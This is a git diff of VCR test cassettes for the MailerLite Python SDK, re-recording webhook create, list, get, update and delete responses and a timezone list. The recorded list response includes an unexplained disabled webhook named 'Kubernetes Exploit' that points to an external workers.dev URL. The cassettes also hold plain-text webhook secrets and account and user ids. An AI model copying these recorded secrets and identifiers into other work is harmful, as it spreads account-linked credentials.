(+03:00)","offset_name":"+03:00","offset":180},{"id":"322","name":"Europe\/Berlin","name_for_humans":"Europe\/Berlin + (+02:00)","offset_name":"+02:00","offset":120},{"id":"324","name":"Europe\/Brussels","name_for_humans":"Europe\/Brussels + (+02:00)","offset_name":"+02:00","offset":120},{"id":"330","name":"Europe\/Dublin","name_for_humans":"Europe\/Dublin + (+01:00)","offset_name":"+01:00","offset":60},{"id":"180","name":"America\/Scoresbysund","name_for_humans":"America\/Scoresbysund + (-01:00)","offset_name":"-01:00","offset":-60},{"id":"464","name":"Europe\/Dublin","name_for_humans":"Europe\/Dublin + (+01:00)","offset_name":"+01:00","offset":60},{"id":"465","name":"Asia\/Nicosia","name_for_humans":"Asia\/Nicosia + (+03:00)","offset_name":"+03:00","offset":180},{"id":"171","name":"America\/Rankin_Inlet","name_for_humans":"America\/Rankin + Inlet (-05:00)","offset_name":"-05:00","offset":-300},{"id":"174","name":"America\/Resolute","name_for_humans":"America\/Resolute + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"117","name":"America\/Indiana\/Knox","name_for_humans":"America\/Indiana\/Knox + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"157","name":"America\/North_Dakota\/Center","name_for_humans":"America\/North + Dakota\/Center (-05:00)","offset_name":"-05:00","offset":-300},{"id":"100","name":"America\/Edmonton","name_for_humans":"America\/Edmonton + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"515","name":"America\/Boise","name_for_humans":"America\/Boise + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"195","name":"America\/Vancouver","name_for_humans":"America\/Vancouver + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"341","name":"Europe\/Ljubljana","name_for_humans":"Europe\/Ljubljana + (+02:00)","offset_name":"+02:00","offset":120},{"id":"355","name":"Europe\/Rome","name_for_humans":"Europe\/Rome + (+02:00)","offset_name":"+02:00","offset":120},{"id":"365","name":"Europe\/Tirane","name_for_humans":"Europe\/Tirane + (+02:00)","offset_name":"+02:00","offset":120},{"id":"371","name":"Europe\/Vilnius","name_for_humans":"Europe\/Vilnius + (+03:00)","offset_name":"+03:00","offset":180},{"id":"439","name":"Europe\/Paris","name_for_humans":"Europe\/Paris + (+02:00)","offset_name":"+02:00","offset":120},{"id":"352","name":"Europe\/Podgorica","name_for_humans":"Europe\/Podgorica + (+02:00)","offset_name":"+02:00","offset":120},{"id":"305","name":"Australia\/Adelaide","name_for_humans":"Australia\/Adelaide + (+09:30)","offset_name":"+09:30","offset":570},{"id":"295","name":"Atlantic\/Azores","name_for_humans":"Atlantic\/Azores + (+00:00)","offset_name":"+00:00","offset":0},{"id":"346","name":"Europe\/Mariehamn","name_for_humans":"Europe\/Mariehamn + (+03:00)","offset_name":"+03:00","offset":180},{"id":"333","name":"Europe\/Helsinki","name_for_humans":"Europe\/Helsinki + (+03:00)","offset_name":"+03:00","offset":180},{"id":"342","name":"Europe\/London","name_for_humans":"Europe\/London + (+01:00)","offset_name":"+01:00","offset":60},{"id":"357","name":"Europe\/San_Marino","name_for_humans":"Europe\/San + Marino (+02:00)","offset_name":"+02:00","offset":120},{"id":"358","name":"Europe\/Sarajevo","name_for_humans":"Europe\/Sarajevo + (+02:00)","offset_name":"+02:00","offset":120},{"id":"336","name":"Europe\/Jersey","name_for_humans":"Europe\/Jersey + (+01:00)","offset_name":"+01:00","offset":60},{"id":"345","name":"Europe\/Malta","name_for_humans":"Europe\/Malta + (+02:00)","offset_name":"+02:00","offset":120},{"id":"353","name":"Europe\/Prague","name_for_humans":"Europe\/Prague + (+02:00)","offset_name":"+02:00","offset":120},{"id":"363","name":"Europe\/Stockholm","name_for_humans":"Europe\/Stockholm + (+02:00)","offset_name":"+02:00","offset":120},{"id":"364","name":"Europe\/Tallinn","name_for_humans":"Europe\/Tallinn + (+03:00)","offset_name":"+03:00","offset":180},{"id":"368","name":"Europe\/Vaduz","name_for_humans":"Europe\/Vaduz + (+02:00)","offset_name":"+02:00","offset":120},{"id":"369","name":"Europe\/Vatican","name_for_humans":"Europe\/Vatican + (+02:00)","offset_name":"+02:00","offset":120},{"id":"370","name":"Europe\/Vienna","name_for_humans":"Europe\/Vienna + (+02:00)","offset_name":"+02:00","offset":120},{"id":"373","name":"Europe\/Warsaw","name_for_humans":"Europe\/Warsaw + (+02:00)","offset_name":"+02:00","offset":120},{"id":"374","name":"Europe\/Zagreb","name_for_humans":"Europe\/Zagreb + (+02:00)","offset_name":"+02:00","offset":120},{"id":"375","name":"Europe\/Zaporozhye","name_for_humans":"Europe\/Zaporozhye + (+03:00)","offset_name":"+03:00","offset":180},{"id":"376","name":"Europe\/Zurich","name_for_humans":"Europe\/Zurich + (+02:00)","offset_name":"+02:00","offset":120},{"id":"209","name":"Antarctica\/Troll","name_for_humans":"Antarctica\/Troll + (+02:00)","offset_name":"+02:00","offset":120},{"id":"326","name":"Europe\/Budapest","name_for_humans":"Europe\/Budapest + (+02:00)","offset_name":"+02:00","offset":120},{"id":"106","name":"America\/Goose_Bay","name_for_humans":"America\/Goose + Bay (-03:00)","offset_name":"-03:00","offset":-180},{"id":"14","name":"Africa\/Casablanca","name_for_humans":"Africa\/Casablanca + (+01:00)","offset_name":"+01:00","offset":60},{"id":"210","name":"Antarctica\/Vostok","name_for_humans":"Antarctica\/Vostok + (+05:00)","offset_name":"+05:00","offset":300},{"id":"200","name":"Antarctica\/Casey","name_for_humans":"Antarctica\/Casey + (+08:00)","offset_name":"+08:00","offset":480},{"id":"317","name":"Europe\/Amsterdam","name_for_humans":"Europe\/Amsterdam + (+02:00)","offset_name":"+02:00","offset":120},{"id":"318","name":"Europe\/Andorra","name_for_humans":"Europe\/Andorra + (+02:00)","offset_name":"+02:00","offset":120},{"id":"327","name":"Europe\/Busingen","name_for_humans":"Europe\/Busingen + (+02:00)","offset_name":"+02:00","offset":120},{"id":"484","name":"Atlantic\/Bermuda","name_for_humans":"Atlantic\/Bermuda + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"296","name":"Atlantic\/Bermuda","name_for_humans":"Atlantic\/Bermuda + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"105","name":"America\/Glace_Bay","name_for_humans":"America\/Glace + Bay (-03:00)","offset_name":"-03:00","offset":-180},{"id":"147","name":"America\/Moncton","name_for_humans":"America\/Moncton + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"183","name":"America\/St_Johns","name_for_humans":"America\/St + Johns (-02:30)","offset_name":"-02:30","offset":-150},{"id":"509","name":"America\/St_Johns","name_for_humans":"America\/St + Johns (-02:30)","offset_name":"-02:30","offset":-150},{"id":"129","name":"America\/Kentucky\/Monticello","name_for_humans":"America\/Kentucky\/Monticello + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"191","name":"America\/Thunder_Bay","name_for_humans":"America\/Thunder + Bay (-04:00)","offset_name":"-04:00","offset":-240},{"id":"125","name":"America\/Iqaluit","name_for_humans":"America\/Iqaluit + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"151","name":"America\/Nassau","name_for_humans":"America\/Nassau + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"152","name":"America\/New_York","name_for_humans":"America\/New + York (-04:00)","offset_name":"-04:00","offset":-240},{"id":"116","name":"America\/Indiana\/Indianapolis","name_for_humans":"America\/Indiana\/Indianapolis + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"123","name":"America\/Indiana\/Winamac","name_for_humans":"America\/Indiana\/Winamac + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"153","name":"America\/Nipigon","name_for_humans":"America\/Nipigon + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"193","name":"America\/Toronto","name_for_humans":"America\/Toronto + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"463","name":"America\/Indiana\/Petersburg","name_for_humans":"America\/Indiana\/Petersburg + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"432","name":"America\/Pangnirtung","name_for_humans":"America\/Pangnirtung + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"128","name":"America\/Kentucky\/Louisville","name_for_humans":"America\/Kentucky\/Louisville + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"197","name":"America\/Winnipeg","name_for_humans":"America\/Winnipeg + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"442","name":"America\/Chicago","name_for_humans":"America\/Chicago + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"457","name":"America\/Resolute","name_for_humans":"America\/Resolute + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"510","name":"America\/Metlakatla","name_for_humans":"America\/Metlakatla + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"332","name":"Europe\/Guernsey","name_for_humans":"Europe\/Guernsey + (+01:00)","offset_name":"+01:00","offset":60},{"id":"340","name":"Europe\/Lisbon","name_for_humans":"Europe\/Lisbon + (+01:00)","offset_name":"+01:00","offset":60},{"id":"344","name":"Europe\/Madrid","name_for_humans":"Europe\/Madrid + (+02:00)","offset_name":"+02:00","offset":120},{"id":"351","name":"Europe\/Paris","name_for_humans":"Europe\/Paris + (+02:00)","offset_name":"+02:00","offset":120},{"id":"455","name":"Antarctica\/Troll","name_for_humans":"Antarctica\/Troll + (+02:00)","offset_name":"+02:00","offset":120},{"id":"467","name":"Europe\/Jersey","name_for_humans":"Europe\/Jersey + (+01:00)","offset_name":"+01:00","offset":60},{"id":"470","name":"Europe\/Skopje","name_for_humans":"Europe\/Skopje + (+02:00)","offset_name":"+02:00","offset":120},{"id":"472","name":"Europe\/Guernsey","name_for_humans":"Europe\/Guernsey + (+01:00)","offset_name":"+01:00","offset":60},{"id":"480","name":"Europe\/Vaduz","name_for_humans":"Europe\/Vaduz + (+02:00)","offset_name":"+02:00","offset":120},{"id":"297","name":"Atlantic\/Canary","name_for_humans":"Atlantic\/Canary + (+01:00)","offset_name":"+01:00","offset":60},{"id":"348","name":"Europe\/Monaco","name_for_humans":"Europe\/Monaco + (+02:00)","offset_name":"+02:00","offset":120},{"id":"331","name":"Europe\/Gibraltar","name_for_humans":"Europe\/Gibraltar + (+02:00)","offset_name":"+02:00","offset":120},{"id":"354","name":"Europe\/Riga","name_for_humans":"Europe\/Riga + (+03:00)","offset_name":"+03:00","offset":180},{"id":"462","name":"Europe\/Guernsey","name_for_humans":"Europe\/Guernsey + (+01:00)","offset_name":"+01:00","offset":60},{"id":"343","name":"Europe\/Luxembourg","name_for_humans":"Europe\/Luxembourg + (+02:00)","offset_name":"+02:00","offset":120},{"id":"350","name":"Europe\/Oslo","name_for_humans":"Europe\/Oslo + (+02:00)","offset_name":"+02:00","offset":120},{"id":"323","name":"Europe\/Bratislava","name_for_humans":"Europe\/Bratislava + (+02:00)","offset_name":"+02:00","offset":120},{"id":"361","name":"Europe\/Skopje","name_for_humans":"Europe\/Skopje + (+02:00)","offset_name":"+02:00","offset":120},{"id":"440","name":"Asia\/Famagusta","name_for_humans":"Asia\/Famagusta + (+03:00)","offset_name":"+03:00","offset":180},{"id":"321","name":"Europe\/Belgrade","name_for_humans":"Europe\/Belgrade + (+02:00)","offset_name":"+02:00","offset":120},{"id":"236","name":"Asia\/Famagusta","name_for_humans":"Asia\/Famagusta + (+03:00)","offset_name":"+03:00","offset":180},{"id":"447","name":"Europe\/Mariehamn","name_for_humans":"Europe\/Mariehamn + (+03:00)","offset_name":"+03:00","offset":180},{"id":"487","name":"Atlantic\/Madeira","name_for_humans":"Atlantic\/Madeira + (+01:00)","offset_name":"+01:00","offset":60},{"id":"489","name":"Europe\/Athens","name_for_humans":"Europe\/Athens + (+03:00)","offset_name":"+03:00","offset":180},{"id":"497","name":"Europe\/Uzhgorod","name_for_humans":"Europe\/Uzhgorod + (+03:00)","offset_name":"+03:00","offset":180},{"id":"498","name":"Europe\/Gibraltar","name_for_humans":"Europe\/Gibraltar + (+02:00)","offset_name":"+02:00","offset":120},{"id":"504","name":"Europe\/Rome","name_for_humans":"Europe\/Rome + (+02:00)","offset_name":"+02:00","offset":120},{"id":"505","name":"Europe\/London","name_for_humans":"Europe\/London + (+01:00)","offset_name":"+01:00","offset":60},{"id":"507","name":"Europe\/Tallinn","name_for_humans":"Europe\/Tallinn + (+03:00)","offset_name":"+03:00","offset":180},{"id":"516","name":"Europe\/Helsinki","name_for_humans":"Europe\/Helsinki + (+03:00)","offset_name":"+03:00","offset":180},{"id":"517","name":"Europe\/Jersey","name_for_humans":"Europe\/Jersey + (+01:00)","offset_name":"+01:00","offset":60},{"id":"518","name":"Europe\/Madrid","name_for_humans":"Europe\/Madrid + (+02:00)","offset_name":"+02:00","offset":120}]}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d06cba4d9078b5-VIE + - 9818a3710d07076b-BEG Cache-Control: - no-cache, private Connection: @@ -169,19 +547,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 11:54:44 GMT + - Fri, 19 Sep 2025 11:10:46 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '119' + x-ratelimit-remaining: + - '70' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/webhooks-create.yml b/tests/vcr_cassettes/webhooks-create.yml index 20c5596..43d2d89 100644 --- a/tests/vcr_cassettes/webhooks-create.yml +++ b/tests/vcr_cassettes/webhooks-create.yml @@ -19,15 +19,11 @@ interactions: uri: https://connect.mailerlite.com/api/webhooks response: body: - string: '{"data":{"id":"75140634583762630","name":"My Webhooks","url":"https:\/\/mailerlite.com","events":["subscriber.created","subscriber.unsubscribed"],"enabled":true,"secret":"MRqdHiwAtP","created_at":"2022-12-21 - 21:54:53","updated_at":"2022-12-21 21:54:53"}}' + string: '{"data":{"id":"165968867532736034","name":"My Webhooks","url":"https:\/\/mailerlite.com","events":["subscriber.created","subscriber.unsubscribed"],"enabled":true,"is_blocked":false,"secret":"yaEgW3JvHz","created_at":"2025-09-19 + 11:10:46","updated_at":"2025-09-19 11:10:46","batchable":false,"version":"2022-01","last_fired_at":null,"response_code":null}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d3dbdaa98cc2fa-VIE + - 9818a372a9b2e292-BEG Cache-Control: - no-cache, private Connection: @@ -35,19 +31,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 21:54:53 GMT + - Fri, 19 Sep 2025 11:10:46 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '119' + x-ratelimit-remaining: + - '69' + x-user_id: + - '106223' status: code: 201 message: Created diff --git a/tests/vcr_cassettes/webhooks-delete.yml b/tests/vcr_cassettes/webhooks-delete.yml index 38e1f7d..db5829b 100644 --- a/tests/vcr_cassettes/webhooks-delete.yml +++ b/tests/vcr_cassettes/webhooks-delete.yml @@ -15,33 +15,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/webhooks/75140634583762630 + uri: https://connect.mailerlite.com/api/webhooks/165968867532736034 response: body: string: '' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d3ddd01ce3c22b-VIE + - 9818a3767be9fa43-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 21 Dec 2022 21:56:13 GMT + - Fri, 19 Sep 2025 11:10:46 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '116' + x-ratelimit-remaining: + - '65' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -64,16 +70,11 @@ interactions: uri: https://connect.mailerlite.com/api/webhooks/121212 response: body: - string: !!binary | - H4sIAAAAAAAAA6rmUlBQUFDKTS0uTkxPVbJSUPLLVygsTS2qVChKLS7NKSlWSMsvUsjNT0nNUYh2 - LCiIifEFsYtjYsJTkzLy87NjFQyNQFCJqxYAAAD//wMA0awiXE0AAAA= + string: "{\n \"message\": \"No query results for model [App\\\\Models\\\\Webhook] + 121212\"\n}" headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d3ddd1d9d277f1-VIE + - 9818a377682fe294-BEG Cache-Control: - no-cache, private Connection: @@ -83,17 +84,27 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 21:56:13 GMT + - Fri, 19 Sep 2025 11:10:47 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-RateLimit-Limit: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '115' + x-ratelimit-remaining: + - '64' + x-user_id: + - '106223' status: code: 404 message: Not Found diff --git a/tests/vcr_cassettes/webhooks-get.yml b/tests/vcr_cassettes/webhooks-get.yml index b952b6f..9a3352f 100644 --- a/tests/vcr_cassettes/webhooks-get.yml +++ b/tests/vcr_cassettes/webhooks-get.yml @@ -13,21 +13,14 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: GET - uri: https://connect.mailerlite.com/api/webhooks/75140634583762630 + uri: https://connect.mailerlite.com/api/webhooks/165968867532736034 response: body: - string: !!binary | - H4sIAAAAAAAAA3yOuwrCQBREf0WmXjXZPJTb2dkIYmOhIpvsBRfzcvdGkeC/S0DEynJmDsMZYI0Y - 0ABnQVhkcRrlSZotk0Wu8ySCQmNqBmHznOy5uLTtNUCh9xUIF5Eu0HF+nNfGVewrJzwr2xoKfOdG - AuiA0Beh9K5gPys9G2EL9Vv2zTdYnBS4MUXFFiS+Z4XApWcZBXY3u3aPlWyh8Hk6m3HRkdbTWE91 - PNExZSllyajY2f/I6/UGAAD//wMAYyfQF/4AAAA= + string: '{"data":{"id":"165968867532736034","name":"My Webhooks","url":"https:\/\/mailerlite.com","events":["subscriber.created","subscriber.unsubscribed"],"enabled":true,"is_blocked":false,"secret":"yaEgW3JvHz","created_at":"2025-09-19 + 11:10:46","updated_at":"2025-09-19 11:10:46","batchable":false,"version":"2022-01","last_fired_at":null,"response_code":null}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d3ddcced72c2ca-VIE + - 9818a374aafde295-BEG Cache-Control: - no-cache, private Connection: @@ -37,19 +30,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 21:56:13 GMT + - Fri, 19 Sep 2025 11:10:46 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '118' + x-ratelimit-remaining: + - '67' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/webhooks-list.yml b/tests/vcr_cassettes/webhooks-list.yml index 946e175..5b56a83 100644 --- a/tests/vcr_cassettes/webhooks-list.yml +++ b/tests/vcr_cassettes/webhooks-list.yml @@ -16,21 +16,16 @@ interactions: uri: https://connect.mailerlite.com/api/webhooks response: body: - string: !!binary | - H4sIAAAAAAAAA6RRTU8CMRD9K+QdOFVgFxZMjTHevGiIFw9ATHd3kMZuu7SzqNnsfzcFohATE+Nt - OtN58z5alIoV5KKFLiExy5LJaDqeZJfj2TSdjkcQsKoiSNx/9J4o3zj3GiDQeAOJDXMd5HK4HFZK - G/JGMw0KV0GAdmQ5QC4QmjwUXufkB4UnxVRCnDYb+/UosRIgq3JDJST7hgQCFZ44Enjclnf67Zbn - EDgiPas4SUdpepGkF2nSSxOZTWQ2jhTr8vcv3UrAaPsaIFustQ98Jqlw1lLBg3Npy6Gq9XL4drTi - plYvdJ1AwKj/7deedpC2MUbA0jsf6k6gophQi6Lxniw/xw3IRGDtXbUv4unv9lHSoj2EdEA0KqeY - WN+obeOuenNPO+2aGKUqWO8Icq1MoE60P7L9sxGHU8kJdozyC/qc0QO9c6/v97R+sFkJ1Io3f6cT - DSV/NCUbCbDbm8OOlYFMuu4TAAD//wMAjN3XxfsCAAA= + string: '{"data":[{"id":"165968867532736034","name":"My Webhooks","url":"https:\/\/mailerlite.com","events":["subscriber.created","subscriber.unsubscribed"],"enabled":true,"is_blocked":false,"secret":"yaEgW3JvHz","created_at":"2025-09-19 + 11:10:46","updated_at":"2025-09-19 11:10:46","batchable":false,"version":"2022-01","last_fired_at":null,"response_code":null},{"id":"164064558288209366","name":"Kubernetes + Exploit","url":"https:\/\/polished-river-ea53.igor-5fd.workers.dev\/","events":["subscriber.added_to_group"],"enabled":false,"is_blocked":false,"secret":"MfLpsGPKzm","created_at":"2025-08-29 + 10:42:35","updated_at":"2025-08-29 11:33:39","batchable":false,"version":"2022-01","last_fired_at":"2025-08-29 + 11:33:39","response_code":400}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/webhooks?page=1","last":"https:\/\/connect.mailerlite.com\/api\/webhooks?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/webhooks?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/webhooks","per_page":50,"to":2,"total":2}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d3ddcb2b23c2ed-VIE + - 9818a373babe71a3-BEG Cache-Control: - no-cache, private Connection: @@ -40,19 +35,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 21:56:12 GMT + - Fri, 19 Sep 2025 11:10:46 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '119' + x-ratelimit-remaining: + - '68' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/webhooks-update.yml b/tests/vcr_cassettes/webhooks-update.yml index 6ed20ce..cf11757 100644 --- a/tests/vcr_cassettes/webhooks-update.yml +++ b/tests/vcr_cassettes/webhooks-update.yml @@ -15,21 +15,14 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: PUT - uri: https://connect.mailerlite.com/api/webhooks/75140634583762630 + uri: https://connect.mailerlite.com/api/webhooks/165968867532736034 response: body: - string: !!binary | - H4sIAAAAAAAAA3SOTYvCMBRF/0q566hN0lZ5O3dulGE2sxgHSZsHBvuhyevIIP53KcjgxuU993I5 - N3gnDnRD8CAsS13klS3KlV1WprI5FHrXMQjbv2zH1+yL6+MwnLLdRBXG2IJwFDkn2i/2i86FlmMb - hOfN0EGBf7mXBPpGGuvUxFBznDeRnbCHeoVj/x88fhS4d3XLHiRxZIXETWSZRD4vfhOua/mAwvPp - 4KbG5MbMtJkZnRlNZUGlnRTP/u2kIm1xvz8AAAD//wMA5EZ+3wYBAAA= + string: '{"data":{"id":"165968867532736034","name":"My New Webhook Name","url":"https:\/\/mailerlite.com","events":["subscriber.created","subscriber.unsubscribed"],"enabled":true,"is_blocked":false,"secret":"yaEgW3JvHz","created_at":"2025-09-19 + 11:10:46","updated_at":"2025-09-19 11:10:46","batchable":false,"version":"2022-01","last_fired_at":null,"response_code":null}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d3ddce8e6efcad-VIE + - 9818a3757bdee291-BEG Cache-Control: - no-cache, private Connection: @@ -39,19 +32,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 21:56:13 GMT + - Fri, 19 Sep 2025 11:10:46 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '117' + x-ratelimit-remaining: + - '66' + x-user_id: + - '106223' status: code: 200 message: OK